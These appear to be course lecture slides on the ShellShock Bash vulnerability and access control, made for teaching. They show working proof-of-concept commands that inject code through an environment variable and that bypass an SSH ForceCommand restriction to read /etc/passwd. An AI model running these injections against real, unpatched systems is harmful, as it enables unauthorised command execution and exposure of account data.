ShellShock and ACL
2014-10-29
#ShellShock

- What is ShellShock?
- What is Bash?
- What are environment variables
- What attacks are possible
ShellShock

- Bugs in code parsing
- Arbitrary code execution
- **Wikipedia** has provided an in-depth explanation
Bash

- Bash is a shell, where your typed commands are executed

```
> /bin/ls /Users/peter/develop/showterm.io
Gemfile bin public...
```

- Not all information is spelled out when executing a command.

```
> ls
Gemfile bin public...
```

- Instead, they come from the environment.

```
> env | grep -i "^pwd|^path"
PWD=/Users/peter/develop/showterm.io
PATH=.../usr/bin:/bin:/usr/sbin:/sbin:...
```
Environment
What is it anyway?

- Variables set by software
- Exists to provide information about "Execution Environment"
- Ruby on Rails, NodeJS, SSH, etc.
Examples

- Ruby on Rails for initialize a database for production environment
  
  ```sh
  >bundle exec rake db:create db:migrate db:seed RAILS_ENV=production
  ```

- NodeJS

  ```sh
  >PORT=8081 node express.js
  ```

- Makefile

  ```sh
  >make exec userfile="userfile.txt"
  ```
So what’s the problem?
Problem in depth

- ( ) is a nameless function definition
- : is a no-op command in bash
- ( ) { :: ; } ; looks like just a empty function does nothing
- However, if assigned to environment variable, anything after that is executed before next command.

```
> XXX='( ) { :: ; } ; /bin/ls /' bash -c :
bin  cte  etc  lib  media  opt  root  sbin  sys  usr
boot  dev  home  lib64  mnt  proc  run  srv  tmp  var
Segmentation fault
```

- What else can we replace with ls command?
Simple Version

SSHD Config:

```
Match User peter
    ForceCommand echo "I can echo"
```

Command Execution:

```
~ ssh 172.17.1.7
I can echo
~ ssh 172.17.1.7 "ls /
I can echo
~ ssh 172.17.1.7 '() { ::}; cat /etc/passwd'
root:x:0:0:root:/root:/bin/bash
...
```

Why?

`SSH_ORIGINAL_COMMAND` is set before command execution

References:

- http://unix.stackexchange.com/questions/157477/how-can-shellshock-be-exploited-over-ssh
- https://github.com/mubix/shellshocker-pocs/blob/master/README.md
Real Attacks
Attacks to our cs server

- Attack via HTTP-AGENT header
- Hopes CGI-Application sets the header in the environment
How is the impact so far?

Software Affected (Link)
ACL
Homework 2

- You have to deal with "OTHER USERS"
- File Repository as a service
- SETUID execution
Complexity on Access Control
Hacking Git

>git init && echo "dog" > dog.txt
>git add dog.txt && git commit -am "dog"
>git cat-file -p tree
>git hash-object -w cat.txt
>swap
Why Version Control